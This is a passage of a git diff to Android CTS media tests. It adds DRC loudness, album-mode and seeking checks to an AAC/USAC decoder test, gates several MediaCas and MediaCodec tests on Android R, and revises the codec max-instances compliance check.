-            if ((nrgRatio_R > 1.05f || nrgRatio_R < 0.95f) 
-                    || (nrgRatio_L > 1.05f || nrgRatio_L < 0.95f) ){
-                throw new Exception("DRC Effect Type '" + effectTypeName + "' not as expected");
-            }
-        } else if (nCh == 1){
-            float nrgRatio_L = (nrg_test[0]/nrg_def[0])/normFactor_L;
-            if (nrgRatio_L > 1.05f || nrgRatio_L < 0.95f){
-                throw new Exception("DRC Effect Type '" + effectTypeName + "' not as expected");
+                float nrgRatio_L = (nrg_test[0]/nrg_def[0])/normFactor_L;
+                if (nrgRatio_L > 1.05f || nrgRatio_L < 0.95f){
+                    throw new Exception("DRC Effect Type '" + effectTypeName + "' not as expected");
+                }
             }
         }
     }
@@ -439,6 +718,128 @@
     }
 
     /**
+     * USAC test DRC Album Mode
+     */
+    private void checkUsacDrcAlbumMode(int testinput, String decoderName) throws Exception {
+        for (boolean runtimeChange : new boolean[] {false, true}) {
+            AudioParameter decParams = new AudioParameter();
+            DrcParams drcParams_album_off = new DrcParams(127, 127, 64, 0, 0, 0);
+            DrcParams drcParams_album_on  = new DrcParams(127, 127, 64, 0, 0, 1);
+
+            short[] decSamples_album_off = decodeToMemory(
+                    decParams, testinput, -1, null, drcParams_album_off, decoderName);
+            short[] decSamples_album_on = decodeToMemory(
+                    decParams, testinput, -1, null, drcParams_album_on, decoderName, runtimeChange);
+
+            float[] nrg_album_off  = checkEnergyUSAC(decSamples_album_off, decParams, 2, 1);
+            float[] nrg_album_on = checkEnergyUSAC(decSamples_album_on, decParams, 2, 1);
+
+            float normFactor = 6.3095f;
+
+            float nrgRatio = (nrg_album_on[0]/nrg_album_off[0])/normFactor;
+            float nrgRatio_L = (nrg_album_on[1]/nrg_album_off[1])/normFactor;
+            float nrgRatio_R = (nrg_album_on[2]/nrg_album_off[2])/normFactor;
+
+            if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
+                throw new Exception("DRC Album Mode not supported, energy ratio " + nrgRatio);
+            }
+        }
+    }
+
+    /**
+     * USAC test DRC Boost and Attenuation
+     */
+    private void checkUsacDrcBoostAndAttenuation(float normFactor_L, float normFactor_R,
+                                                 int boostFactor, int attenuationFactor,
+                                                 int nCh, String decoderName) throws Exception {
+        for (boolean runtimeChange : new boolean[] {false, true}) {
+            if (runtimeChange && !sIsAndroidRAndAbove) {
+                // changing decoder configuration after it has been initialized requires R and above
+                continue;
+            }
+
+            int testinput = R.raw.noise_2ch_32khz_aot42_19_lufs_drc_mp4;
+
+            AudioParameter decParams = new AudioParameter();
+            DrcParams drcParams_def = new DrcParams(127, 127, 64, 0, 6);
+            DrcParams drcParams_test = new DrcParams(boostFactor, attenuationFactor, 64, 0, 6);
+
+            short[] decSamples_def = decodeToMemory(decParams, testinput, -1, null,
+                    drcParams_def, decoderName);
+            short[] decSamples_test = decodeToMemory(decParams, testinput, -1, null,
+                    drcParams_test, decoderName, runtimeChange);
+
+            float[] nrg_def = checkEnergyUSAC(decSamples_def, decParams, 2, 1);
+            float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, 2, 1);
+
+            float nrgRatioLeft = nrg_test[1] / nrg_def[1];
+            float nrgRatioRight = nrg_test[2] / nrg_def[2];
+
+            float testValueLeft = normFactor_L * nrgRatioLeft;
+            float testValueRight = normFactor_R * nrgRatioRight;
+
+            // Check whether loudness behavior is as expected
+            if (testValueLeft > 1.05f || testValueLeft < 0.95f) {
+                throw new Exception("DRC boost/attenuation behavior not as expected");
+            }
+            if (testValueRight > 1.05f || testValueRight < 0.95f) {
+                throw new Exception("DRC boost/attenuation behavior not as expected");
+            }
+        }
+    }
+
+    /**
+    * USAC test Loudness Preference
+    */
+    private void checkUsacDrcLoudnessPreference(int testInput, float normFactor, String decoderName) throws Exception {
+
+        AudioParameter decParams = new AudioParameter();
+        DrcParams drcParams_def = new DrcParams(127, 127, -1, 0, 6);
+        DrcParams drcParams_test = new DrcParams(127, 127, 64, 0, 6);
+
+        // Check drc loudness preference
+        short[] decSamples_def = decodeToMemory(decParams, testInput, -1, null, drcParams_def, decoderName);
+        short[] decSamples_test = decodeToMemory(decParams, testInput, -1, null, drcParams_test, decoderName);
+
+        float[] nrg_def  = checkEnergyUSAC(decSamples_def, decParams, 2, 1);
+        float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, 2, 1);
+
+        float nrgRatio = (nrg_test[0]/nrg_def[0]);
+        nrgRatio = nrgRatio * normFactor;
+
+        if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
+            throw new Exception("DRC Loudness preference not as expected");
+        }
+    }
+
+    /**
+    * USAC test Output Loudness
+    */
+    private void checkUsacDrcOutputLoudness(int testInput, int decoderTargetLevel,
+            int expectedOutputLoudness, String decoderName) throws Exception {
+        for (boolean runtimeChange : new boolean[] {false, true}) {
+            AudioParameter decParams = new AudioParameter();
+            DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, 0, 6);
+
+            // Check drc loudness preference
+            short[] decSamples_test = decodeToMemory(
+                    decParams, testInput, -1, null, drcParams_test,
+                    decoderName, runtimeChange, expectedOutputLoudness);
+        }
+    }
+
+    private void checkUsacSyncSampleSeeking(int testInput, String decoderName) throws Exception {
+
+        AudioParameter decParams = new AudioParameter();
+        DrcParams drcParams_def = new DrcParams();
+
+        short[] decSamples_seek_next_sync = decodeToMemory(decParams, testInput, -1, null,
+                drcParams_def, decoderName, false, -2, true, 1100000,
+                MediaExtractor.SEEK_TO_NEXT_SYNC);
+        float[] nrg_seek_next_sync = checkEnergyUSAC(decSamples_seek_next_sync, decParams, 2, 1);
+    }
+
+    /**
      * Perform a segmented energy analysis on given audio signal samples and run several tests on
      * the energy values.
      *
@@ -810,12 +1211,20 @@
      * @param drcParams the MPEG-D DRC decoder parameter configuration
      * @param decoderName if non null, the name of the decoder to use for the decoding, otherwise
      *     the default decoder for the format will be used
+     * @param runtimeChange defines whether the decoder is configured at runtime or configured
+     *                      before starting to decode
+     * @param expectedOutputLoudness value to check if the correct output loudness is returned
+     *     by the decoder
+     * @param seek_enable defines whether there will be an initial seek
+     * @param seek_duration seeking duration in microseconds
+     * @param seek_mode seeking mode 
+     *
      * @throws RuntimeException
      */
-    public short[] decodeToMemory(AudioParameter audioParams, int testinput,
-            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName)
-            throws IOException
-    {
+    public short[] decodeToMemory(AudioParameter audioParams, int testinput, int eossample,
+            List<Long> timestamps, DrcParams drcParams, String decoderName, boolean runtimeChange,
+            int expectedOutputLoudness,
+            boolean seek_enable, int seek_duration, int seek_mode) throws IOException {
         // TODO: code is the same as in DecoderTest, differences are:
         //          - addition of application of DRC parameters
         //          - no need/use of resetMode, configMode
@@ -851,28 +1260,85 @@
 
         // set DRC parameters
         if (drcParams != null) {
-            configFormat.setInteger(MediaFormat.KEY_AAC_DRC_BOOST_FACTOR, drcParams.mBoost);
-            configFormat.setInteger(MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR, drcParams.mCut);
-            if (drcParams.mDecoderTargetLevel != 0) {
-                configFormat.setInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
-                        drcParams.mDecoderTargetLevel);
-            }
             configFormat.setInteger(MediaFormat.KEY_AAC_DRC_HEAVY_COMPRESSION, drcParams.mHeavy);
-            if (drcParams.mEffectType != 0){
-                configFormat.setInteger(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE,
-                        drcParams.mEffectType);
+            if (!runtimeChange) {
+                configFormat.setInteger(MediaFormat.KEY_AAC_DRC_BOOST_FACTOR, drcParams.mBoost);
+                configFormat.setInteger(MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR, drcParams.mCut);
+                if (drcParams.mDecoderTargetLevel != 0) {
+                    configFormat.setInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
+                            drcParams.mDecoderTargetLevel);
+                }
+                if (drcParams.mEffectType != 0){
+                    configFormat.setInteger(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE,
+                            drcParams.mEffectType);
+                }
+                if (drcParams.mAlbumMode != 0) {
+                    configFormat.setInteger(MediaFormat.KEY_AAC_DRC_ALBUM_MODE,
+                            drcParams.mAlbumMode);
+                }
             }
         }
 
         Log.v(localTag, "configuring with " + configFormat);
         codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
 
+        if (drcParams != null && sIsAndroidRAndAbove) { // querying output format requires R
+            if(!runtimeChange) {
+                if (drcParams.mAlbumMode != 0) {
+                    int albumModeFromCodec = codec.getOutputFormat()
+                            .getInteger(MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
+                    if (albumModeFromCodec != drcParams.mAlbumMode) {
+                        fail("Drc AlbumMode received from MediaCodec is not the Album Mode set");
+                    }
+                }
+                if (drcParams.mEffectType != 0) {
+                    final int effectTypeFromCodec = codec.getOutputFormat()
+                            .getInteger(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
+                    if (effectTypeFromCodec != drcParams.mEffectType) {
+                        fail("Drc Effect Type received from MediaCodec is not the Effect Type set");
+                    }
+                }
+                if (drcParams.mDecoderTargetLevel != 0) {
+                    final int targetLevelFromCodec = codec.getOutputFormat()
+                            .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                    if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
+                        fail("Drc Target Reference Level received from MediaCodec is not the Target Reference Level set");
+                    }
+                }
+            }
+        }
+
         codec.start();
         codecInputBuffers = codec.getInputBuffers();
         codecOutputBuffers = codec.getOutputBuffers();
 
+        if (drcParams != null) {
+            if (runtimeChange) {
+                Bundle b = new Bundle();
+                b.putInt(MediaFormat.KEY_AAC_DRC_BOOST_FACTOR, drcParams.mBoost);
+                b.putInt(MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR, drcParams.mCut);
+                if (drcParams.mEffectType != 0) {
+                    b.putInt(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE, drcParams.mEffectType);
+                }
+                if (drcParams.mDecoderTargetLevel != 0) {
+                    b.putInt(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
+                            drcParams.mDecoderTargetLevel);
+                }
+                if (drcParams.mAlbumMode != 0) {
+                    b.putInt(MediaFormat.KEY_AAC_DRC_ALBUM_MODE, drcParams.mAlbumMode);
+                }
+                codec.setParameters(b);
+            }
+        }
+
         extractor.selectTrack(0);
 
+        // execute initial seeking if specified
+        if (seek_enable) {
+            codec.flush();
+            extractor.seekTo(seek_duration, seek_mode);
+        }
+
         // start decoding
         final long kTimeOutUs = 5000;
         MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
@@ -972,10 +1438,80 @@
             fail("decoder stopped outputting data");
         }
 
+        // check if MediaCodec gives back correct drc parameters
+        if (drcParams != null && sIsAndroidRAndAbove) {
+            if (drcParams.mAlbumMode != 0) {
+                final int albumModeFromCodec = codec.getOutputFormat()
+                        .getInteger(MediaFormat.KEY_AAC_DRC_ALBUM_MODE);
+                assertEquals("DRC AlbumMode received from MediaCodec is not the Album Mode set"
+                        + " runtime:" + runtimeChange, drcParams.mAlbumMode, albumModeFromCodec);
+            }
+            if (drcParams.mEffectType != 0) {
+                final int effectTypeFromCodec = codec.getOutputFormat()
+                        .getInteger(MediaFormat.KEY_AAC_DRC_EFFECT_TYPE);
+                assertEquals("DRC Effect Type received from MediaCodec is not the Effect Type set"
+                        + " runtime:" + runtimeChange, drcParams.mEffectType, effectTypeFromCodec);
+            }
+            if (drcParams.mDecoderTargetLevel != 0) {
+                final int targetLevelFromCodec = codec.getOutputFormat()
+                        .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                assertEquals("DRC Target Ref Level received from MediaCodec is not the level set"
+                        + " runtime:" + runtimeChange,
+                        drcParams.mDecoderTargetLevel, targetLevelFromCodec);
+            }
+
+            final MediaFormat outputFormat = codec.getOutputFormat();
+            final int cutFromCodec = outputFormat.getInteger(
+                    MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
+            assertEquals("Attenuation factor received from MediaCodec differs from set:",
+                    drcParams.mCut, cutFromCodec);
+            final int boostFromCodec = outputFormat.getInteger(
+                    MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
+            assertEquals("Boost factor received from MediaCodec differs from set:",
+                    drcParams.mBoost, boostFromCodec);
+        }
+
+        // expectedOutputLoudness == -2 indicates that output loudness is not tested
+        if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
+            final int outputLoudnessFromCodec = codec.getOutputFormat()
+                    .getInteger(MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
+            if (outputLoudnessFromCodec != expectedOutputLoudness) {
+                fail("Received decoder output loudness is not the expected value");
+            }
+        }
+
         codec.stop();
         codec.release();
         return decoded;
     }
 
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName)
+            throws IOException
+    {
+        final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
+                drcParams, decoderName, false, -2, false, 0, 0);
+        return decoded;
+    }
+
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
+            boolean runtimeChange)
+        throws IOException
+    {
+        final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
+                drcParams, decoderName, runtimeChange, -2, false, 0, 0);
+        return decoded;
+    }
+
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+        int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
+        boolean runtimeChange, int expectedOutputLoudness)
+        throws IOException
+    {
+        short [] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps, drcParams,
+                decoderName, runtimeChange, expectedOutputLoudness, false, 0, 0);
+        return decoded;
+    }
 }
 
diff --git a/tests/tests/media/src/android/media/cts/HeifWriterTest.java b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
index 5fe7b65..95f1426 100644
--- a/tests/tests/media/src/android/media/cts/HeifWriterTest.java
+++ b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
@@ -35,6 +35,7 @@
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
 import android.opengl.GLES20;
+import android.os.Build;
 import android.os.Environment;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -53,6 +54,7 @@
 import androidx.heifwriter.HeifWriter;
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.MediaUtils;
 
@@ -78,6 +80,7 @@
     private static final boolean DUMP_YUV_INPUT = false;
     private static final int GRID_WIDTH = 512;
     private static final int GRID_HEIGHT = 512;
+    private static final boolean IS_BEFORE_R = ApiLevelUtil.isBefore(Build.VERSION_CODES.R);
 
     private static byte[][] TEST_YUV_COLORS = {
             {(byte) 255, (byte) 0, (byte) 0},
@@ -364,7 +367,7 @@
                 mRotation = 0;
                 mQuality = 100;
                 // use memfd by default
-                if (DUMP_OUTPUT) {
+                if (DUMP_OUTPUT || IS_BEFORE_R) {
                     mOutputPath = new File(Environment.getExternalStorageDirectory(),
                             OUTPUT_FILENAME).getAbsolutePath();
                 } else {
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index c7d8fa3..537e606 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -24,6 +24,8 @@
 import android.media.MediaCasStateException;
 import android.media.MediaCodec;
 import android.media.MediaDescrambler;
+import android.media.cts.R;
+import android.os.Build;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.platform.test.annotations.Presubmit;
@@ -32,6 +34,10 @@
 import android.util.Log;
 
 import androidx.test.filters.SmallTest;
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
 import com.android.compatibility.common.util.PropertyUtil;
 
 import java.lang.ArrayIndexOutOfBoundsException;
@@ -52,6 +58,7 @@
     private static final int sInvalidSystemId = 0;
     private static final int sClearKeySystemId = 0xF6D8;
     private static final int API_LEVEL_BEFORE_CAS_SESSION = 28;
+    private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
 
     // ClearKey CAS/Descrambler test vectors
     private static final String sProvisionStr =
@@ -146,6 +153,13 @@
             "65 79 69 6e 74 5f 6d 69  6e 3d 32 35 20 73 63 65" +
             "6e 65                                           " ;
 
+    // Need MANAGE_USERS or CREATE_USERS permission to access ActivityManager#getCurrentUse,
+    // then adopt it from shell.
+    public void setUp() throws Exception {
+        InstrumentationRegistry
+            .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+    }
+
     /**
      * Test that all enumerated CA systems can be instantiated.
      *
@@ -252,8 +266,12 @@
         MediaDescrambler descrambler = null;
 
         try {
-            mediaCas = new MediaCas(getContext(), sClearKeySystemId, "TIS_Session_1",
-                android.media.tv.TvInputService.PRIORITY_HINT_USE_CASE_TYPE_LIVE);
+            if (mIsAtLeastR) {
+                mediaCas = new MediaCas(getContext(), sClearKeySystemId, "TIS_Session_1",
+                    android.media.tv.TvInputService.PRIORITY_HINT_USE_CASE_TYPE_LIVE);
+            } else {
+                mediaCas = new MediaCas(sClearKeySystemId);
+            }
             descrambler = new MediaDescrambler(sClearKeySystemId);
 
             mediaCas.provision(sProvisionStr);
@@ -266,7 +284,9 @@
                 fail("Can't open session for program");
             }
 
-            Log.d(TAG, "Session Id = " + Arrays.toString(session.getSessionId()));
+            if (mIsAtLeastR) {
+                Log.d(TAG, "Session Id = " + Arrays.toString(session.getSessionId()));
+            }
 
             session.setPrivateData(pvtData);
 
@@ -295,7 +315,9 @@
             Handler handler = new Handler(thread.getLooper());
             testEventEcho(mediaCas, 1, 2, null /* data */, handler);
             testSessionEventEcho(mediaCas, session, 1, 2, null /* data */, handler);
-            testOpenSessionEcho(mediaCas, 0, 2, handler);
+            if (mIsAtLeastR) {
+                testOpenSessionEcho(mediaCas, 0, 2, handler);
+            }
             thread.interrupt();
 
             String eventDataString = "event data string";
@@ -504,6 +526,7 @@
      */
     public void testResourceLostEvent() throws Exception {
         MediaCas mediaCas = null;
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
 
         try {
             mediaCas = new MediaCas(getContext(), sClearKeySystemId, "TIS_Session_1",
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
index 7f60d5f..f6ac4f7 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
@@ -30,6 +30,7 @@
 import android.media.MediaFormat;
 import android.media.cts.R;
 import android.net.Uri;
+import android.os.Build;
 import android.platform.test.annotations.Presubmit;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
@@ -38,6 +39,7 @@
 
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.MediaUtils;
 
 import java.io.IOException;
@@ -57,6 +59,7 @@
 /**
  * MediaCodec tests with CONFIGURE_FLAG_USE_BLOCK_MODEL.
  */
+@NonMediaMainlineTest
 public class MediaCodecBlockModelTest extends AndroidTestCase {
     private static final String TAG = "MediaCodecBlockModelTest";
     private static final boolean VERBOSE = false;           // lots of logging
@@ -76,6 +79,7 @@
     // Time out processing, as we have no way to query whether the decoder will produce output.
     private static final int TIMEOUT_MS = 60000;  // 1 minute
 
+    private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
     /**
      * Tests whether decoding a short group-of-pictures succeeds. The test queues a few video frames
      * then signals end-of-stream. The test fails if the decoder doesn't output the queued frames.
@@ -84,6 +88,7 @@
     @SmallTest
     @RequiresDevice
     public void testDecodeShortVideo() throws InterruptedException {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         runThread(() -> runDecodeShortVideo(
                 INPUT_RESOURCE_ID,
                 LAST_BUFFER_TIMESTAMP_US,
@@ -100,6 +105,7 @@
      * then signals end-of-stream. The test fails if the decoder doesn't output the queued frames.
      */
     public void testDecodeShortEncryptedVideo() throws InterruptedException {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         runThread(() -> runDecodeShortEncryptedVideo(
                 true /* obtainBlockForEachBuffer */));
         runThread(() -> runDecodeShortEncryptedVideo(
@@ -114,6 +120,7 @@
     @SmallTest
     @RequiresDevice
     public void testDecodeShortAudio() throws InterruptedException {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         runThread(() -> runDecodeShortAudio(
                 INPUT_RESOURCE_ID,
                 LAST_BUFFER_TIMESTAMP_US,
@@ -132,6 +139,7 @@
     @SmallTest
     @RequiresDevice
     public void testEncodeShortAudio() throws InterruptedException {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         runThread(() -> runEncodeShortAudio());
     }
 
@@ -143,6 +151,7 @@
     @SmallTest
     @RequiresDevice
     public void testEncodeShortVideo() throws InterruptedException {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         runThread(() -> runEncodeShortVideo());
     }
 
@@ -153,6 +162,7 @@
     @SmallTest
     @RequiresDevice
     public void testFormatChange() throws InterruptedException {
+        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
         List<FormatChangeEvent> events = new ArrayList<>();
         runThread(() -> runDecodeShortVideo(
                 getMediaExtractorForMimeType(INPUT_RESOURCE_ID, "video/"),
@@ -712,6 +722,9 @@
             mediaFormat.setInteger(MediaFormat.KEY_FRAME_RATE, kFrameRate);
             mediaFormat.setInteger(MediaFormat.KEY_BIT_RATE, 1000000);
             mediaFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 1);
+            mediaFormat.setInteger(
+                    MediaFormat.KEY_COLOR_FORMAT,
+                    MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
             // TODO: b/147748978
             String[] codecs = MediaUtils.getEncoderNames(true /* isGoog */, mediaFormat);
             if (codecs.length == 0) {
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
index d17e702..7e75fb7 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
@@ -35,7 +35,6 @@
 import static android.media.MediaFormat.MIMETYPE_VIDEO_VP9;
 import android.media.MediaPlayer;
 import android.os.Build;
-import android.os.SystemProperties;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.util.Range;
@@ -697,6 +696,7 @@
     private int getActualMax(
             boolean isEncoder, String name, String mime, CodecCapabilities caps, int max) {
         int flag = isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0;
+        boolean memory_limited = false;
         MediaFormat format = createMinFormat(mime, caps);
         Log.d(TAG, "Test format " + format);
         Vector<MediaCodec> codecs = new Vector<MediaCodec>();
@@ -716,6 +716,7 @@
                 am.getMemoryInfo(outInfo);
                 if (outInfo.lowMemory) {
                     Log.d(TAG, "System is in low memory condition, stopping. max: " + i);
+                    memory_limited = true;
                     break;
                 }
             } catch (IllegalArgumentException e) {
@@ -745,6 +746,10 @@
             codecs.get(i).release();
         }
         codecs.clear();
+        // encode both actual max and whether we ran out of memory
+        if (memory_limited) {
+            actualMax = -actualMax;
+        }
         return actualMax;
     }
 
@@ -773,13 +778,20 @@
     }
 
     public void testGetMaxSupportedInstances() {
-        final int MAX_INSTANCES = 32;
         StringBuilder xmlOverrides = new StringBuilder();
         MediaCodecList allCodecs = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        final boolean isLowRam = ActivityManager.isLowRamDeviceStatic();
         for (MediaCodecInfo info : allCodecs.getCodecInfos()) {
             Log.d(TAG, "codec: " + info.getName());
             Log.d(TAG, "  isEncoder = " + info.isEncoder());
 
+            // don't bother testing aliases
+            if (info.isAlias()) {
+                Log.d(TAG, "skipping: " + info.getName() + " is an alias for " +
+                                info.getCanonicalName());
+                continue;
+            }
+
             String[] types = info.getSupportedTypes();
             for (int j = 0; j < types.length; ++j) {
                 if (!knownTypes(types[j])) {
@@ -788,14 +800,55 @@
                 }
                 Log.d(TAG, "calling getCapabilitiesForType " + types[j]);
                 CodecCapabilities caps = info.getCapabilitiesForType(types[j]);
-                int max = caps.getMaxSupportedInstances();
-                Log.d(TAG, "getMaxSupportedInstances returns " + max);
-                assertTrue(max > 0);
+                int advertised = caps.getMaxSupportedInstances();
+                Log.d(TAG, "getMaxSupportedInstances returns " + advertised);
+                assertTrue(advertised > 0);
 
+                // see how well the declared max matches against reality
+
+                int tryMax = isLowRam ? 16 : 32;
+                int tryMin = isLowRam ? 4 : 16;
+
+                int trials = Math.min(advertised + 2, tryMax);
                 int actualMax = getActualMax(
-                        info.isEncoder(), info.getName(), types[j], caps, MAX_INSTANCES);
-                Log.d(TAG, "actualMax " + actualMax + " vs reported max " + max);
-                if (actualMax < (int)(max * 0.9) || actualMax > (int) Math.ceil(max * 1.1)) {
+                        info.isEncoder(), info.getName(), types[j], caps, trials);
+                Log.d(TAG, "actualMax " + actualMax + " vs advertised " + advertised
+                                + " tryMin " + tryMin + " tryMax " + tryMax);
+
+                boolean memory_limited = false;
+                if (actualMax < 0) {
+                    memory_limited = true;
+                    actualMax = -actualMax;
+                }
+
+                boolean compliant = true;
+                if (info.isHardwareAccelerated()) {
+                    // very specific bounds for HW codecs
+                    // so the adv+2 above is to see if the HW codec lets us go beyond adv
+                    // (it should not)
+                    if (actualMax != Math.min(advertised, tryMax)) {
+                        Log.d(TAG, "NO: hwcodec " + actualMax + " != min(" + advertised +
+                                            "," + tryMax + ")");
+                        compliant = false;
+                    }
+                } else {
+                    // sw codecs get a little more relaxation due to memory pressure
+                    if (actualMax >= Math.min(advertised, tryMax)) {
+                        // no memory issues, and we allocated them all
+                        Log.d(TAG, "OK: swcodec " + actualMax + " >= min(" + advertised +
+                                        "," + tryMax + ")");
+                    } else if (actualMax >= Math.min(advertised, tryMin) &&
+                                    memory_limited) {
+                        // memory issues, but we hit our floors
+                        Log.d(TAG, "OK: swcodec " + actualMax + " >= min(" + advertised +
+                                        "," + tryMin + ") + memory limited");
+                    } else {
+                        Log.d(TAG, "NO: swcodec didn't meet criteria");
+                        compliant = false;
+                    }
+                }
+
+                if (!compliant) {
                     String codec = "<MediaCodec name=\"" + info.getName() +
                             "\" type=\"" + types[j] + "\" >";
                     String limit = "    <Limit name=\"concurrent-instances\" max=\"" +
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index a20e39f..d41716e 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -41,6 +41,7 @@
 import android.media.MediaFormat;
 import android.media.cts.R;
 import android.opengl.GLES20;
+import android.os.Build;
 import android.os.ConditionVariable;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -55,6 +56,7 @@
 import androidx.test.filters.MediumTest;
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.MediaUtils;
 
 import java.io.BufferedInputStream;
@@ -118,6 +120,7 @@
     // Time out decoding, as we have no way to query whether the decoder will produce output.
     private static final int DECODING_TIMEOUT_MS = 10000;
 
+    private static boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
     /**
      * Tests:
      * <br> Exceptions for MediaCodec factory methods
@@ -315,25 +318,27 @@
             fail("configure should not return MediaCodec.CodecException on wrong state");
         } catch (IllegalStateException e) { // expected
         }
-        try {
-            codec.getQueueRequest(0);
-            fail("getQueueRequest should throw IllegalStateException when not configured with " +
-                    "CONFIGURE_FLAG_USE_BLOCK_MODEL");
-        } catch (MediaCodec.CodecException e) {
-            logMediaCodecException(e);
-            fail("getQueueRequest should not return " +
-                    "MediaCodec.CodecException on wrong configuration");
-        } catch (IllegalStateException e) { // expected
-        }
-        try {
-            codec.getOutputFrame(0);
-            fail("getOutputFrame should throw IllegalStateException when not configured with " +
-                    "CONFIGURE_FLAG_USE_BLOCK_MODEL");
-        } catch (MediaCodec.CodecException e) {
-            logMediaCodecException(e);
-            fail("getOutputFrame should not return MediaCodec.CodecException on wrong " +
-                    "configuration");
-        } catch (IllegalStateException e) { // expected
+        if (mIsAtLeastR) {
+            try {
+                codec.getQueueRequest(0);
+                fail("getQueueRequest should throw IllegalStateException when not configured with " +
+                        "CONFIGURE_FLAG_USE_BLOCK_MODEL");
+            } catch (MediaCodec.CodecException e) {
+                logMediaCodecException(e);
+                fail("getQueueRequest should not return " +
+                        "MediaCodec.CodecException on wrong configuration");
+            } catch (IllegalStateException e) { // expected
+            }
+            try {
+                codec.getOutputFrame(0);
+                fail("getOutputFrame should throw IllegalStateException when not configured with " +
+                        "CONFIGURE_FLAG_USE_BLOCK_MODEL");
+            } catch (MediaCodec.CodecException e) {
+                logMediaCodecException(e);
+                fail("getOutputFrame should not return MediaCodec.CodecException on wrong " +
+                        "configuration");
+            } catch (IllegalStateException e) { // expected
+            }
         }
 
         // two flushes should be fine.
@@ -368,100 +373,102 @@
         } catch (IllegalStateException e) { // expected
         }
 
-        // recreate
